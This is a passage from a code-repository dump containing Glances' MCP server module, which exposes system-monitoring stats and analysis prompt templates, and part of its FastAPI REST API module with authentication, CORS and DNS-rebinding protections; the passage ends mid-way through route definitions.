    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"MCP (Model Context Protocol) server interface class.\"\"\"\n\nimport json\nimport logging\n\nfrom glances.globals import json_dumps\nfrom glances.logger import logger\n\ntry:\n    from mcp.server.fastmcp import FastMCP\n    from mcp.server.sse import TransportSecuritySettings\n\n    MCP_AVAILABLE = True\n    logging.getLogger(\"mcp\").setLevel(logging.WARNING)\nexcept ImportError:\n    MCP_AVAILABLE = False\n    FastMCP = None\n    TransportSecuritySettings = None\n\n\nclass GlancesMcpServer:\n    \"\"\"MCP server exposing Glances system monitoring data as resources and prompts.\n\n    Resources (read-only data):\n        glances://plugins                   - List of active plugins\n        glances://stats                     - All plugins' current statistics\n        glances://stats/{plugin}            - Current statistics for one plugin\n        glances://stats/{plugin}/history    - Historical time-series for one plugin\n        glances://limits                    - Alert thresholds for all plugins\n        glances://limits/{plugin}           - Alert thresholds for one plugin\n\n    Prompts (analysis templates):\n        system_health_summary   - Overall CPU / memory / disk / network health report\n        alert_analysis          - Analysis of active alerts with optional severity filter\n        top_processes_report    - Report on the most CPU-intensive processes\n        storage_health          - Disk usage and I/O statistics analysis\n\n    Usage:\n        mcp_server = GlancesMcpServer(stats, args, config)\n        app.mount(\"/mcp\", mcp_server.get_asgi_app())\n\n    Authentication:\n        The MCP endpoint inherits the authentication policy applied at the FastAPI\n        router/middleware level (see glances_restful_api.py).  No authentication\n        logic lives inside this class.\n    \"\"\"\n\n    MCP_DEFAULT_PATH = \"/mcp\"\n\n    def __init__(self, stats, args, config):\n        \"\"\"Initialize the MCP server.\n\n        Args:\n            stats: GlancesStats instance.  May be None at construction time if the\n                   stats manager has not been created yet; call set_stats() before\n                   the server receives its first request.\n            args:  Parsed command-line arguments (argparse.Namespace).\n            config: Glances configuration object (GlancesConfig).\n        \"\"\"\n        self._stats = stats\n        self._args = args\n        self._config = config\n\n        if not MCP_AVAILABLE:\n            raise RuntimeError(\n                \"The 'mcp' package is required for MCP support. Install it with: pip install 'glances[mcp]'\"\n            )\n\n        self._load_config(config)\n\n        self._mcp = FastMCP(\n            \"Glances\",\n            instructions=(\n                \"Glances is a cross-platform system monitoring tool. \"\n                \"Use resources to access real-time system metrics \"\n                \"(CPU, memory, disk, network, processes, containers, sensors, …). \"\n                \"Use prompts to generate structured analyses of the current system state.\"\n            ),\n            transport_security=self._build_transport_security(),\n        )\n\n        self._setup_resources()\n        self._setup_prompts()\n        logger.debug(\"GlancesMcpServer: resources and prompts registered\")\n\n    # ------------------------------------------------------------------\n    # Public helpers\n    # ------------------------------------------------------------------\n\n    def set_stats(self, stats):\n        \"\"\"Update the stats manager reference.\n\n        Call this method after the GlancesStats object is created when it was\n        not yet available at construction time.\n        \"\"\"\n        self._stats = stats\n\n    def get_asgi_app(self, mount_path: str = MCP_DEFAULT_PATH):\n        \"\"\"Return the SSE ASGI application ready to be mounted into FastAPI.\n\n        Args:\n            mount_path: Informational only — the URL path where this app is mounted\n                        in the parent FastAPI instance (used for the log message).\n                        Do NOT forward this to FastMCP.sse_app(): when Starlette\n                        mounts a sub-application it sets scope['root_path'] to the\n                        mount prefix automatically, and SseServerTransport uses that\n                        value to build the correct endpoint URL for clients.\n                        Passing mount_path again would cause the prefix to appear\n                        twice (e.g. /mcp/mcp/messages/).\n\n        Returns:\n            A Starlette ASGI application.\n        \"\"\"\n        logger.debug(f\"MCP server (SSE transport) mounted at {mount_path} with allowed hosts: {self.mcp_allowed_hosts}\")\n        # Call sse_app() without mount_path so FastMCP keeps its default '/'.\n        # Starlette will prepend scope['root_path'] (= mount_path) at runtime,\n        # producing the correct absolute endpoint URL for clients.\n        # transport_security is already configured on self._mcp at construction time.\n        return self._mcp.sse_app()\n\n    # ------------------------------------------------------------------\n    # Internal helpers\n    # ------------------------------------------------------------------\n\n    def _load_config(self, config):\n        # MCP allowed hosts for DNS rebinding protection\n        # Default: loopback only (safe for existing deployments)\n        self.mcp_allowed_hosts = [\"localhost\", \"127.0.0.1\"]\n        if config is not None and config.has_section('outputs'):\n            raw_mcp_hosts = config.get_value(\"outputs\", \"mcp_allowed_hosts\", default=None)\n            if raw_mcp_hosts == \"*\":\n                self.mcp_allowed_hosts = [\"*\"]\n                logger.warning(\n                    \"MCP mcp_allowed_hosts is set to wildcard (*). Ensure the server is behind a trusted reverse proxy.\"\n                )\n            elif raw_mcp_hosts:\n                self.mcp_allowed_hosts = [h.strip() for h in raw_mcp_hosts.split(\",\") if h.strip()]\n        logger.debug(f\"MCP allowed hosts: {self.mcp_allowed_hosts}\")\n\n    def _build_transport_security(self):\n        \"\"\"Return TransportSecuritySettings derived from mcp_allowed_hosts.\n\n        Wildcard (\"*\") disables DNS rebinding protection entirely.\n        Otherwise each hostname is converted to a \"host:*\" pattern (any port)\n        and paired with http/https origin patterns.\n        \"\"\"\n        if self.mcp_allowed_hosts == [\"*\"]:\n            return TransportSecuritySettings(enable_dns_rebinding_protection=False)\n\n        # Append :* to plain hostnames so the middleware matches any port.\n        allowed_hosts = [h if \":\" in h else f\"{h}:*\" for h in self.mcp_allowed_hosts]\n        allowed_origins = [f\"http://{h}\" for h in allowed_hosts] + [f\"https://{h}\" for h in allowed_hosts]\n        return TransportSecuritySettings(\n            enable_dns_rebinding_protection=True,\n            allowed_hosts=allowed_hosts,\n            allowed_origins=allowed_origins,\n        )\n\n    def _get_stats(self):\n        \"\"\"Return the stats manager, raising RuntimeError if not yet set.\"\"\"\n        if self._stats is None:\n            raise RuntimeError(\n                \"GlancesMcpServer: stats manager is not yet initialized. Call set_stats() before serving MCP requests.\"\n            )\n        return self._stats\n\n    def _serialize(self, data) -> str:\n        \"\"\"Return a UTF-8 JSON string using Glances' custom serializer.\n\n        Glances' json_dumps handles non-standard numeric types and datetime\n        objects that the stdlib json module cannot encode out of the box.\n        \"\"\"\n        return json_dumps(data).decode(\"utf-8\")\n\n    # ------------------------------------------------------------------\n    # Resources\n    # ------------------------------------------------------------------\n\n    def _setup_resources(self):\n        \"\"\"Declare all MCP resources on the FastMCP instance.\"\"\"\n        mcp = self._mcp\n        server = self  # captured by closures below\n\n        # ---- plugins list ------------------------------------------------\n\n        @mcp.resource(\n            \"glances://plugins\",\n            name=\"plugins_list\",\n            description=(\n                \"List of all active monitoring plugin names available in this \"\n                \"Glances instance (e.g. 'cpu', 'mem', 'network', 'processlist', …).\"\n            ),\n            mime_type=\"application/json\",\n        )\n        def plugins_list() -> str:\n            return server._serialize(server._get_stats().getPluginsList())\n\n        # ---- all stats ---------------------------------------------------\n\n        @mcp.resource(\n            \"glances://stats\",\n            name=\"all_stats\",\n            description=(\n                \"Current statistics from every active monitoring plugin. Returns a JSON object keyed by plugin name.\"\n            ),\n            mime_type=\"application/json\",\n        )\n        def all_stats() -> str:\n            return server._serialize(server._get_stats().getAllAsDict())\n\n        # ---- per-plugin stats (resource template) ------------------------\n\n        @mcp.resource(\n            \"glances://stats/{plugin}\",\n            name=\"plugin_stats\",\n            description=(\n                \"Current statistics for a specific monitoring plugin. \"\n                \"Fetch glances://plugins first to discover available plugin names.\"\n            ),\n            mime_type=\"application/json\",\n        )\n        def plugin_stats(plugin: str) -> str:\n            stats = server._get_stats()\n            plugin_obj = stats.get_plugin(plugin)\n            if plugin_obj is None:\n                available = stats.getPluginsList()\n                raise ValueError(f\"Plugin '{plugin}' not found. Available plugins: {available}\")\n            return server._serialize(plugin_obj.get_raw())\n\n        # ---- per-plugin history (resource template) ----------------------\n\n        @mcp.resource(\n            \"glances://stats/{plugin}/history\",\n            name=\"plugin_history\",\n            description=(\n                \"Historical time-series data for a specific monitoring plugin. \"\n                \"Returns a dict of field→list pairs, most-recent value last.\"\n            ),\n            mime_type=\"application/json\",\n        )\n        def plugin_history(plugin: str) -> str:\n            stats = server._get_stats()\n            plugin_obj = stats.get_plugin(plugin)\n            if plugin_obj is None:\n                raise ValueError(f\"Plugin '{plugin}' not found\")\n            # nb=0 → return all available history points\n            return server._serialize(plugin_obj.get_raw_history(item=None, nb=0))\n\n        # ---- all limits --------------------------------------------------\n\n        @mcp.resource(\n            \"glances://limits\",\n            name=\"all_limits\",\n            description=(\n                \"Warning and critical alert thresholds for all monitoring plugins. \"\n                \"Returns a JSON object keyed by plugin name.\"\n            ),\n            mime_type=\"application/json\",\n        )\n        def all_limits() -> str:\n            return server._serialize(server._get_stats().getAllLimitsAsDict())\n\n        # ---- per-plugin limits (resource template) -----------------------\n\n        @mcp.resource(\n            \"glances://limits/{plugin}\",\n            name=\"plugin_limits\",\n            description=(\"Warning and critical alert thresholds for a specific monitoring plugin.\"),\n            mime_type=\"application/json\",\n        )\n        def plugin_limits(plugin: str) -> str:\n            stats = server._get_stats()\n            plugin_obj = stats.get_plugin(plugin)\n            if plugin_obj is None:\n                raise ValueError(f\"Plugin '{plugin}' not found\")\n            return server._serialize(plugin_obj.get_limits())\n\n    # ------------------------------------------------------------------\n    # Prompts\n    # ------------------------------------------------------------------\n\n    def _setup_prompts(self):\n        \"\"\"Declare all MCP prompt templates on the FastMCP instance.\"\"\"\n        mcp = self._mcp\n        server = self  # captured by closures below\n\n        # ---- system health summary ---------------------------------------\n\n        @mcp.prompt(\n            name=\"system_health_summary\",\n            description=(\n                \"Generate a comprehensive system health report covering CPU, \"\n                \"memory, swap, load average, filesystems, and network interfaces.\"\n            ),\n        )\n        def system_health_summary() -> str:\n            stats = server._get_stats()\n            data = {\n                plugin: stats.get_plugin(plugin).get_raw()\n                for plugin in (\"cpu\", \"mem\", \"memswap\", \"load\", \"fs\", \"network\")\n                if stats.get_plugin(plugin) is not None\n            }\n            return (\n                \"You are a system administrator assistant. \"\n                \"Analyze the following real-time system monitoring data collected by Glances \"\n                \"and produce a concise health report.\\n\"\n                \"Highlight any metrics that exceed warning or critical thresholds, \"\n                \"identify potential bottlenecks, and suggest remediation steps where needed.\\n\\n\"\n                f\"System data (JSON):\\n{json.dumps(data, default=str, indent=2)}\"\n            )\n\n        # ---- alert analysis ----------------------------------------------\n\n        @mcp.prompt(\n            name=\"alert_analysis\",\n            description=(\n                \"Analyze active Glances system alerts and warnings. \"\n                \"Accepts an optional 'level' parameter: 'warning', 'critical', or 'all' (default).\"\n            ),\n        )\n        def alert_analysis(level: str = \"all\") -> str:\n            stats = server._get_stats()\n            alert_plugin = stats.get_plugin(\"alert\")\n            data = alert_plugin.get_raw() if alert_plugin is not None else []\n            return (\n                \"You are a system administrator assistant. \"\n                f\"Analyze the following Glances system alerts (severity filter: '{level}').\\n\"\n                \"For each alert, explain the likely cause, the risk level, \"\n                \"and the recommended corrective action.\\n\\n\"\n                f\"Active alerts (JSON):\\n{json.dumps(data, default=str, indent=2)}\"\n            )\n\n        # ---- top processes report ----------------------------------------\n\n        @mcp.prompt(\n            name=\"top_processes_report\",\n            description=(\n                \"Report on the most resource-consuming processes currently running. \"\n                \"Accepts an optional 'nb' parameter for the number of processes (default: 10).\"\n            ),\n        )\n        def top_processes_report(nb: int = 10) -> str:\n            stats = server._get_stats()\n            proc_plugin = stats.get_plugin(\"processlist\")\n            processes: list = []\n            if proc_plugin is not None:\n                all_procs = proc_plugin.get_raw() or []\n                processes = sorted(\n                    all_procs,\n                    key=lambda p: p.get(\"cpu_percent\", 0),\n                    reverse=True,\n                )[:nb]\n            return (\n                \"You are a system administrator assistant. \"\n                f\"Analyze the following top {nb} processes sorted by CPU usage, \"\n                \"as reported by Glances.\\n\"\n                \"Identify processes that may be causing performance issues, \"\n                \"explain what each process likely does, \"\n                \"and suggest optimization steps where appropriate.\\n\\n\"\n                f\"Top processes (JSON):\\n{json.dumps(processes, default=str, indent=2)}\"\n            )\n\n        # ---- storage health ----------------------------------------------\n\n        @mcp.prompt(\n            name=\"storage_health\",\n            description=(\n                \"Analyze disk usage and I/O statistics to assess storage health and identify potential issues.\"\n            ),\n        )\n        def storage_health() -> str:\n            stats = server._get_stats()\n            data = {\n                plugin: stats.get_plugin(plugin).get_raw()\n                for plugin in (\"fs\", \"diskio\")\n                if stats.get_plugin(plugin) is not None\n            }\n            return (\n                \"You are a system administrator assistant. \"\n                \"Analyze the following disk and filesystem statistics collected by Glances.\\n\"\n                \"Identify filesystems that are critically full, \"\n                \"highlight unusual I/O patterns, \"\n                \"and provide actionable recommendations.\\n\\n\"\n                f\"Storage data (JSON):\\n{json.dumps(data, default=str, indent=2)}\"\n            )\n"
  },
  {
    "path": "glances/outputs/glances_restful_api.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"RestFul API interface class.\"\"\"\n\nimport os\nimport socket\nimport sys\nimport webbrowser\nfrom typing import Annotated, Any\nfrom urllib.parse import urljoin\n\nfrom glances import __apiversion__, __version__\nfrom glances.events_list import glances_events\nfrom glances.globals import json_dumps\nfrom glances.logger import logger\nfrom glances.password import GlancesPassword\n\n# JWT import with fallback\ntry:\n    from glances.jwt_utils import JWTHandler\n\n    JWT_AVAILABLE = True\nexcept ImportError:\n    JWT_AVAILABLE = False\n    JWTHandler = None\n# MCP import with fallback\ntry:\n    from glances.outputs.glances_mcp import GlancesMcpServer\n\n    MCP_AVAILABLE = True\nexcept ImportError:\n    MCP_AVAILABLE = False\n    GlancesMcpServer = None\n\nfrom glances.plugins.plugin.dag import get_plugin_dependencies\nfrom glances.processes import glances_processes\nfrom glances.servers_list import GlancesServersList\nfrom glances.servers_list_dynamic import GlancesAutoDiscoverClient\nfrom glances.stats import GlancesStats\nfrom glances.timer import Timer\n\n# FastAPI import\ntry:\n    from fastapi import APIRouter, Depends, FastAPI, HTTPException, Request, status\n    from fastapi.middleware.cors import CORSMiddleware\n    from fastapi.middleware.gzip import GZipMiddleware\n    from fastapi.responses import HTMLResponse, JSONResponse\n    from fastapi.security import HTTPBasic, HTTPBasicCredentials\n    from fastapi.staticfiles import StaticFiles\n    from fastapi.templating import Jinja2Templates\nexcept ImportError as e:\n    logger.critical(f'FastAPI import error: {e}')\n    logger.critical('Glances cannot start in web server mode.')\n    sys.exit(2)\n\ntry:\n    import uvicorn\nexcept ImportError:\n    logger.critical('Uvicorn import error. Glances cannot start in web server mode.')\n    sys.exit(2)\nimport contextlib\nimport threading\nimport time\n\nsecurity = HTTPBasic(auto_error=False)\n\n\nclass GlancesMcpAuthMiddleware:\n    \"\"\"Pure ASGI middleware that applies Basic/JWT authentication to the MCP endpoint.\n\n    Unlike BaseHTTPMiddleware, this implementation does not buffer response bodies\n    and is therefore safe to use with Server-Sent Events (SSE) streaming connections.\n\n    It reuses the password and JWT handler already configured on the REST API instance,\n    so there is no separate credential store to maintain.\n    \"\"\"\n\n    def __init__(self, app, api_instance, mcp_path: str = \"/mcp\") -> None:\n        self._app = app\n        self._api = api_instance\n        # Normalise: no trailing slash, so prefix matching is unambiguous.\n        self._mcp_path = mcp_path.rstrip(\"/\")\n\n    async def __call__(self, scope, receive, send) -> None:\n        # Lifespan and non-HTTP scopes are forwarded unchanged.\n        if scope[\"type\"] not in (\"http\", \"websocket\"):\n            await self._app(scope, receive, send)\n            return\n\n        path = scope.get(\"path\", \"\")\n        on_mcp_path = path == self._mcp_path or path.startswith(self._mcp_path + \"/\")\n        if not on_mcp_path:\n            await self._app(scope, receive, send)\n            return\n\n        # If no password is configured, the MCP endpoint is open (same as REST API).\n        if not self._api._password:\n            await self._app(scope, receive, send)\n            return\n\n        # CORS preflight requests must pass through so that the CORS middleware\n        # can respond with the appropriate headers.\n        if scope.get(\"method\") == \"OPTIONS\":\n            await self._app(scope, receive, send)\n            return\n\n        if self._is_authenticated(scope):\n            await self._app(scope, receive, send)\n        else:\n            await self._send_401(scope, receive, send)\n\n    def _get_auth_header(self, scope) -> str:\n        \"\"\"Extract the raw Authorization header value from the ASGI scope.\"\"\"\n        for name, value in scope.get(\"headers\", []):\n            if name.lower() == b\"authorization\":\n                return value.decode(\"utf-8\", errors=\"replace\")\n        return \"\"\n\n    def _is_authenticated(self, scope) -> bool:\n        \"\"\"Return True if the request carries valid Basic or Bearer credentials.\"\"\"\n        import base64\n\n        auth = self._get_auth_header(scope)\n\n        # JWT Bearer token (checked first, as in the REST API handler).\n        if self._api._jwt_handler is not None and auth.lower().startswith(\"bearer \"):\n            token = auth.split(\" \", 1)[1]\n            username = self._api._jwt_handler.verify_token(token)\n            return username == self._api.args.username\n\n        # HTTP Basic Auth.\n        if auth.lower().startswith(\"basic \"):\n            try:\n                decoded = base64.b64decode(auth[6:]).decode(\"utf-8\")\n                username, _, password = decoded.partition(\":\")\n                if username == self._api.args.username:\n                    return self._api._password.check_password(\n                        self._api.args.password,\n                        self._api._password.get_hash(password),\n                    )\n            except Exception:\n                pass\n\n        return False\n\n    @staticmethod\n    async def _send_401(scope, receive, send) -> None:\n        \"\"\"Send an HTTP 401 response directly through the ASGI interface.\"\"\"\n        body = b\"Not authenticated\"\n        await send(\n            {\n                \"type\": \"http.response.start\",\n                \"status\": 401,\n                \"headers\": [\n                    (b\"www-authenticate\", b\"Basic\"),\n                    (b\"content-type\", b\"text/plain; charset=utf-8\"),\n                    (b\"content-length\", str(len(body)).encode()),\n                ],\n            }\n        )\n        await send({\"type\": \"http.response.body\", \"body\": body})\n\n\nclass GlancesJSONResponse(JSONResponse):\n    \"\"\"\n    Glances impl of fastapi's JSONResponse to use internal JSON Serialization features\n\n    Ref: https://fastapi.tiangolo.com/advanced/custom-response/\n    \"\"\"\n\n    def render(self, content: Any) -> bytes:\n        return json_dumps(content)\n\n\nclass GlancesUvicornServer(uvicorn.Server):\n    def install_signal_handlers(self):\n        pass\n\n    @contextlib.contextmanager\n    def run_in_thread(self, timeout=3):\n        # daemon=True: if the main thread exits the process won't be kept alive\n        # by a uvicorn thread blocked on a persistent connection (e.g. MCP/SSE).\n        thread = threading.Thread(target=self.run, daemon=True)\n        thread.start()\n        try:\n            chrono = Timer(timeout)\n            while not self.started and not chrono.finished():\n                time.sleep(0.5)\n            # Timeout reached\n            # Something go wrong...\n            # The Uvicorn server should be stopped\n            if not self.started:\n                self.should_exit = True\n                thread.join()\n            yield\n        finally:\n            self.should_exit = True\n            # Give uvicorn a brief window for graceful shutdown.\n            # Extra CTRL+C signals pressed during shutdown are absorbed so that\n            # force_exit is always reached when there are lingering connections\n            # (e.g. a MCP client holding an SSE connection open).\n            # daemon=True above guarantees the process exits even if the thread\n            # hasn't fully stopped by the time we leave this block.\n            try:\n                thread.join(timeout=3)\n            except KeyboardInterrupt:\n                pass\n            if thread.is_alive():\n                self.force_exit = True\n                try:\n                    thread.join(timeout=2)\n                except KeyboardInterrupt:\n                    pass\n\n\nclass GlancesRestfulApi:\n    \"\"\"This class manages the Restful API server.\"\"\"\n\n    API_VERSION = __apiversion__\n\n    def __init__(self, config=None, args=None):\n        # Init config\n        self.config = config\n\n        # Init args\n        self.args = args\n\n        # Init stats\n        # Will be updated within route\n        self.stats = None\n\n        # Init servers list (only for the browser mode)\n        if self.args.browser:\n            self.servers_list = GlancesServersList(config=config, args=args)\n        else:\n            self.servers_list = None\n\n        # cached_time is the minimum time interval between stats updates\n        # i.e. HTTP/RESTful calls will not retrieve updated info until the time\n        # since last update is passed (will retrieve old cached info instead)\n        self.timer = Timer(0)\n\n        # Load configuration file\n        self.load_config(config)\n\n        # Set the bind URL\n        self.bind_url = urljoin(f'{self.protocol}://{self.args.bind_address}:{self.args.port}/', self.url_prefix)\n\n        # FastAPI Init\n        # Note: Authentication is now applied at router level, not app level,\n        # to allow the token endpoint to be unauthenticated\n        self._app = FastAPI(default_response_class=GlancesJSONResponse)\n        if self.args.password:\n            self._password = GlancesPassword(username=args.username, config=config)\n            # Initialize JWT handler\n            if JWT_AVAILABLE:\n                jwt_secret = config.get_value('outputs', 'jwt_secret_key', default=None)\n                jwt_expire = config.get_int_value('outputs', 'jwt_expire_minutes', default=60)\n                self._jwt_handler = JWTHandler(secret_key=jwt_secret, expire_minutes=jwt_expire)\n                logger.info(f\"JWT authentication enabled (token expiration: {jwt_expire} minutes)\")\n            else:\n                self._jwt_handler = None\n                logger.info(\"JWT authentication not available (python-jose not installed)\")\n        else:\n            self._password = None\n            self._jwt_handler = None\n\n        # Set path for WebUI\n        webui_root_path = config.get_value(\n            'outputs', 'webui_root_path', default=os.path.dirname(os.path.realpath(__file__))\n        )\n        if webui_root_path == '':\n            webui_root_path = os.path.dirname(os.path.realpath(__file__))\n        self.STATIC_PATH = os.path.join(webui_root_path, 'static/public')\n        self.TEMPLATE_PATH = os.path.join(webui_root_path, 'static/templates')\n        self._templates = Jinja2Templates(directory=self.TEMPLATE_PATH)\n\n        # FastAPI Enable GZIP compression\n        # https://fastapi.tiangolo.com/advanced/middleware/\n        # Should be done before other middlewares to avoid\n        # LocalProtocolError(\"Too much data for declared Content-Length\")\n        self._app.add_middleware(GZipMiddleware, minimum_size=1000)\n\n        # FastAPI Enable CORS\n        # https://fastapi.tiangolo.com/tutorial/cors/\n        cors_origins = config.get_list_value('outputs', 'cors_origins', default=[\"*\"])\n        cors_credentials = config.get_bool_value('outputs', 'cors_credentials', default=False)\n\n        # Reject the insecure wildcard + credentials combination,\n        # even if the user explicitly sets cors_credentials=True in their config.\n        if cors_origins == [\"*\"] and cors_credentials:\n            logger.warning(\n                \"CORS: allow_origins=['*'] combined with allow_credentials=True is insecure. \"\n                \"Disabling credentials. Set explicit cors_origins to enable credentialed requests.\"\n            )\n            cors_credentials = False\n\n        self._app.add_middleware(\n            CORSMiddleware,\n            # Related to https://github.com/nicolargo/glances/issues/2812\n            allow_origins=cors_origins,\n            allow_credentials=cors_credentials,\n            allow_methods=config.get_list_value('outputs', 'cors_methods', default=[\"*\"]),\n            allow_headers=config.get_list_value('outputs', 'cors_headers', default=[\"*\"]),\n        )\n\n        # FastAPI Enable DNS rebinding protection via Host header validation\n        # When webui_allowed_hosts is configured, requests with a Host header\n        # not in the allowlist are rejected with 400 Bad Request.\n        if self.webui_allowed_hosts:\n            from starlette.middleware.trustedhost import TrustedHostMiddleware\n\n            self._app.add_middleware(TrustedHostMiddleware, allowed_hosts=self.webui_allowed_hosts)\n            logger.info(f\"TrustedHostMiddleware enabled (allowed hosts: {self.webui_allowed_hosts})\")\n\n        # FastAPI Define routes\n        # Token endpoint router (no authentication required) - must be added first\n        if self.args.password and self._jwt_handler is not None:\n            self._app.include_router(self._token_router())\n        self._app.include_router(self._router())\n\n        # MCP server (optional).\n        # Activated when either glances.conf [outputs] enable_mcp = true\n        # or the --enable-mcp CLI flag is passed.\n        # The CLI --mcp-path overrides the config file value when provided.\n        if getattr(self.args, 'enable_mcp', False):\n            self.mcp_enabled = True\n        if getattr(self.args, 'mcp_path', None):\n            self.mcp_path = self.args.mcp_path\n            if not self.mcp_path.startswith('/'):\n                self.mcp_path = '/' + self.mcp_path\n        self._mcp_server = None\n        if MCP_AVAILABLE and self.mcp_enabled:\n            self._mcp_server = GlancesMcpServer(stats=None, args=self.args, config=self.config)\n            full_mcp_path = self.url_prefix + self.mcp_path\n            # Auth middleware must be outermost (added last) so it intercepts requests\n            # before they reach the MCP sub-application.  It is a pure ASGI middleware\n            # so it does not buffer the response body and is safe with SSE streams.\n            if self.args.password:\n                self._app.add_middleware(\n                    GlancesMcpAuthMiddleware,\n                    api_instance=self,\n                    mcp_path=full_mcp_path,\n                )\n            self._app.mount(\n                full_mcp_path,\n                self._mcp_server.get_asgi_app(mount_path=full_mcp_path),\n            )\n            bindaddr = f\"{self.protocol}://{self.args.bind_address}:{self.args.port}{full_mcp_path}\"\n            bindmsg = f'Glances MCP server started on {bindaddr}'\n            logger.info(bindmsg)\n            print(bindmsg)\n        elif self.mcp_enabled and not MCP_AVAILABLE:\n            logger.warning(\"MCP server is enabled in config but the 'mcp' package is not installed.\")\n            logger.warning(\"Install it with: pip install 'glances[mcp]'\")\n\n        # Enable auto discovering of the service\n        self.autodiscover_client = None\n        if not self.args.disable_autodiscover:\n            logger.info('Autodiscover is enabled with service name {}'.format(socket.gethostname().split('.', 1)[0]))\n            self.autodiscover_client = GlancesAutoDiscoverClient(socket.gethostname().split('.', 1)[0], self.args)\n        else:\n            logger.info(\"Glances autodiscover announce is disabled\")\n\n    def load_config(self, config):\n        \"\"\"Load the outputs section of the configuration file.\"\"\"\n        # Limit the number of processes to display in the WebUI\n        # Default values\n        self.url_prefix = ''\n        self.protocol = 'http'\n        self.ssl_keyfile = None\n        self.ssl_keyfile_password = None\n        self.ssl_certfile = None\n        self.webui_allowed_hosts = None\n        self.mcp_enabled = False\n        self.mcp_path = '/mcp'\n        if config is not None and config.has_section('outputs'):\n            # Max process to display in the WebUI\n            n = config.get_value('outputs', 'max_processes_display', default=None)\n            logger.debug(f'Number of processes to display in the WebUI: {n}')\n            # URL prefix\n            self.url_prefix = config.get_value('outputs', 'url_prefix', default='')\n            if self.url_prefix != '':\n                self.url_prefix = self.url_prefix.rstrip('/')\n            logger.debug(f'URL prefix: {self.url_prefix}')\n            # SSL\n            self.ssl_keyfile = config.get_value('outputs', 'ssl_keyfile', default=None)\n            self.ssl_keyfile_password = config.get_value('outputs', 'ssl_keyfile_password', default=None)\n            self.ssl_certfile = config.get_value('outputs', 'ssl_certfile', default=None)\n            self.protocol = 'https' if self.is_ssl() else 'http'\n            # DNS rebinding protection for the REST API / WebUI\n            self.webui_allowed_hosts = config.get_list_value('outputs', 'webui_allowed_hosts', default=None)\n            # MCP server\n            self.mcp_enabled = config.get_bool_value('outputs', 'enable_mcp', default=False)\n            self.mcp_path = config.get_value('outputs', 'mcp_path', default='/mcp')\n            if not self.mcp_path.startswith('/'):\n                self.mcp_path = '/' + self.mcp_path\n\n        logger.debug(f\"Protocol for Resful API and WebUI: {self.protocol}\")\n        logger.debug(\n            f\"MCP server enabled: {self.mcp_enabled} \\\n            (path: {self.url_prefix + self.mcp_path})\"\n        )\n\n    def is_ssl(self):\n        \"\"\"Return true if the Glances server use SSL.\"\"\"\n        return self.ssl_keyfile is not None and self.ssl_certfile is not None\n\n    def __update_stats(self, plugins_list_to_update=None):\n        # Never update more than 1 time per cached_time\n        # Also update if specific plugins are requested\n        # In  this case, lru_cache will handle the stat's update frequency\n        if self.timer.finished() or plugins_list_to_update:\n            self.stats.update(plugins_list_to_update=plugins_list_to_update)\n            self.timer = Timer(self.args.cached_time)\n\n    def __update_servers_list(self):\n        # Never update more than 1 time per cached_time\n        if self.timer.finished() and self.servers_list is not None:\n            self.servers_list.update_servers_stats()\n            self.timer = Timer(self.args.cached_time)\n\n    def authentication(\n        self,\n        request: Request,\n        basic_creds: Annotated[HTTPBasicCredentials | None, Depends(security)] = None,\n    ):\n        \"\"\"Check if a username/password combination or JWT token is valid.\n\n        Supports both HTTP Basic Auth and Bearer Token (JWT) authentication.\n        JWT Bearer tokens are checked first (manually from header) to avoid\n        HTTPBasic(auto_error=True) rejecting Bearer Authorization headers.\n        If no Bearer token is found, HTTPBasic handles the browser auth dialog.\n        \"\"\"\n        # Try JWT Bearer token first (manually from request header)\n        if self._jwt_handler is not None and self._jwt_handler.is_available:\n            auth_header = request.headers.get(\"Authorization\", \"\")\n            if auth_header.lower().startswith(\"bearer \"):\n                token = auth_header.split(\" \", 1)[1]\n                username = self._jwt_handler.verify_token(token)\n                if username is not None and username == self.args.username:\n                    return username\n                # Invalid Bearer token - reject immediately\n                raise HTTPException(\n                    status.HTTP_401_UNAUTHORIZED,\n                    \"Incorrect authentication\",\n                    {\"WWW-Authenticate\": \"Bearer\"},\n                )\n\n        # Fall back to Basic Auth\n        # If no credentials provided (basic_creds is None), trigger browser dialog\n        if basic_creds is None:\n            # Force HTTPBasic auto_error behavior to trigger browser auth dialog\n            raise HTTPException(\n                status.HTTP_401_UNAUTHORIZED,\n                \"Not authenticated\",\n                {\"WWW-Authenticate\": \"Basic\"},\n            )\n\n        if basic_creds.username == self.args.username:\n            if self._password.check_password(self.args.password, self._password.get_hash(basic_creds.password)):\n                return basic_creds.username\n\n        # Invalid credentials\n        raise HTTPException(\n            status.HTTP_401_UNAUTHORIZED,\n            \"Incorrect authentication\",\n            {\"WWW-Authenticate\": \"Basic\"},\n        )\n\n    def _logo(self):\n        return rf\"\"\"\n  _____ _\n / ____| |\n| |  __| | __ _ _ __   ___ ___  ___\n| | |_ | |/ _` | '_ \\ / __/ _ \\/ __|\n| |__| | | (_| | | | | (_|  __/\\__\n \\_____|_|\\__,_|_| |_|\\___\\___||___/ {__version__}\n        \"\"\"\n\n    def _token_router(self) -> APIRouter:\n        \"\"\"Define a router for the token endpoint (no authentication required).\"\"\"\n        base_path = f'/api/{self.API_VERSION}'\n        router = APIRouter(prefix=self.url_prefix)\n        # Override global dependencies with empty list to disable authentication for this route\n        router.add_api_route(f'{base_path}/token', self._api_token, methods=['POST'], dependencies=[])\n        return router\n\n    def _router(self) -> APIRouter:\n        \"\"\"Define a custom router for Glances path.\"\"\"\n        base_path = f'/api/{self.API_VERSION}'\n        plugin_path = f\"{base_path}/{{plugin}}\"\n\n        # Create the main router with authentication if password is set\n        if self.args.password:\n            router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])\n        else:\n            router = APIRouter(prefix=self.url_prefix)\n\n        # REST API route definition\n        # ==========================\n\n        # HEAD\n        router.add_api_route(f'{base_path}/status', self._api_status, methods=['HEAD'])\n\n        # POST\n        router.add_api_route(f'{base_path}/events/clear/warning', self._events_clear_warning, methods=['POST'])\n        router.add_api_route(f'{base_path}/events/clear/all', self._events_clear_all, methods=['POST'])\n        router.add_api_route(\n            f'{base_path}/processes/extended/disable', self._api_disable_extended_processes, methods=['POST']\n        